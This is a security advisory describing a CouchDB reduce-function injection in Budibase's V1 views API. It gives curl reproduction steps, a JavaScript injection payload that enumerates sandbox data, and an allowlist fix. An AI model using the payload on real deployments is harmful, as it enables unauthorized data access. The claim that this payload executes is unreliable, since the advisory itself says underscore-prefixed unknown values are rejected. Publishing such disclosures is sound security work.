GHSA-363w-hvwh-w7m6MediumCVSS 6.5
Budibase: CouchDB Reduce Injection via Unsanitized Calculation Parameter in V1 Views API
🔗 CVE IDs covered (1)
📋 Description
# Security Advisory: CouchDB Reduce Injection via Unsanitized Calculation Parameter in V1 Views API
**Affected Software:** Budibase
**Affected Component:** `packages/server/src/api/controllers/view/viewBuilder.ts`, `packages/server/src/api/routes/view.ts`
**CWE:** CWE-94 (Improper Control of Generation of Code)
**Discovery Date:** 2026-03-24
---
## Summary
The V1 Views API (`POST /api/views`) accepts a `calculation` parameter from the request body that is interpolated directly into a CouchDB reduce function definition without validation. Although an internal `SCHEMA_MAP` object defines the valid calculation types (`sum`, `count`, `stats`), no actual validation is performed against this map before the value is used in string interpolation.
A user with Builder permissions can inject arbitrary JavaScript code that will be executed within the CouchDB JavaScript engine when the view is queried.
---
## Affected Component
**Route:** `POST /api/views` (V1 legacy views endpoint)
**File:** `packages/server/src/api/routes/view.ts`, line 45
```js
.post("/api/views", viewController.v1.save)
```
Note: This route has no Joi request body validator, unlike the V2 views endpoint which uses `viewValidator()`.
**Vulnerable code:** `packages/server/src/api/controllers/view/viewBuilder.ts`, line 213
```js
const reduction = field && calculation ? { reduce: `_${calculation}` } : {}
return {
meta: { field, tableId, groupBy, filters, schema, calculation, ... },
map: `function (doc) { ... }`,
...reduction, // <-- unvalidated calculation string becomes CouchDB reduce
}
```
---
## Vulnerability Detail
The `viewBuilder` function constructs a CouchDB design document view definition. It correctly sanitizes all inputs that flow into the `map` function string (using `JSON.stringify` for field names and a strict `TOKEN_MAP` allowlist for filter operators).
However, the `calculation` parameter follows a different path:
1. User submits `calculation` via `POST /api/views` request body
2. No Joi validator is present on this V1 route
3. `viewBuilder` receives `calculation` as a raw string
4. It is interpolated as: `` reduce: `_${calculation}` ``
5. This reduce definition is saved to a CouchDB design document
6. When the view is queried, CouchDB evaluates the reduce value
CouchDB's behavior for reduce functions:
- Values starting with `_` followed by a known built-in (`_sum`, `_count`, `_stats`) are executed as native reducers
- Any other value is treated as a **JavaScript function string** and executed in CouchDB's SpiderMonkey JS engine
The `SCHEMA_MAP` object in the same file defines `sum`, `count`, and `stats` as valid keys, but this map is only used for schema construction — it is never used as an input validator for the `calculation` parameter.
---
## Steps to Reproduce
**Prerequisites:** Authenticated session with Builder role permissions.
**1. Send a crafted view creation request:**
```bash
curl -X POST https://<budibase-instance>/api/views \
-H "Content-Type: application/json" \
-H "Cookie: <builder-session-cookie>" \
-d '{
"name": "test_view",
"tableId": "<valid-table-id>",
"field": "amount",
"calculation": "stats\"); } function(keys,values,rereduce){ var data = \"\"; for(var i in this) { data += i + \"=\" + this[i] + \",\"; } return data; } //"
}'
```
**2. Query the created view:**
```bash
curl https://<budibase-instance>/api/views/test_view?group=true \
-H "Cookie: <builder-session-cookie>"
```
**3. Expected result:** The injected JavaScript function executes in CouchDB's JS context during reduce evaluation. The function can:
- Enumerate objects available in the CouchDB sandbox
- Access document data from the reduce `values` parameter
- Return arbitrary data in the view response
**Simplified test:** To verify the injection point without complex payloads:
```json
{
"name": "calc_test",
"tableId": "<valid-table-id>",
"field": "amount",
"calculation": "INVALID_NOT_A_BUILTIN"
}
```
This produces `reduce: "_INVALID_NOT_A_BUILTIN"`. CouchDB will reject this as neither a valid built-in nor a valid function, confirming that arbitrary strings reach the reduce evaluator.
---
## Impact
- **Code execution:** Arbitrary JavaScript runs in CouchDB's SpiderMonkey sandbox
- **Data access:** The reduce function receives all matching document values, allowing data exfiltration across the database
- **Scope limitation:** CouchDB's JS sandbox prevents filesystem or network access — this is not OS-level RCE
- **Authentication required:** Attacker must have Builder role, which already grants significant application access
- **Persistence:** The injected reduce function persists in the design document and executes on every view query
---
## Recommended Fix
Add an allowlist validation in `viewBuilder` before the reduce interpolation:
```typescript
const VALID_CALCULATIONS = ["sum", "count", "stats"];
if (calculation && !VALID_CALCULATIONS.includes(calculation)) {
throw new Error(`Invalid calculation type: ${calculation}`);
}
const reduction = field && calculation ? { reduce: `_${calculation}` } : {};
```
Additionally, add a Joi validator to the V1 views route to match the V2 endpoint:
```typescript
// In packages/server/src/api/routes/view.ts
.post("/api/views", v1ViewValidator(), viewController.v1.save)
```
---
## Additional Context
The V2 views API (`POST /api/v2/views`) uses `viewValidator()` with Joi schema validation and a separate calculation handling path. This finding is specific to the V1 legacy endpoint which lacks equivalent input validation.
The `map` function string in the same code is properly protected — all user inputs reaching it are escaped via `JSON.stringify()` or validated against a strict `TOKEN_MAP` allowlist. Only the `reduce` path is affected.
🎯 Affected products1
- npm/@budibase/server:< 3.38.1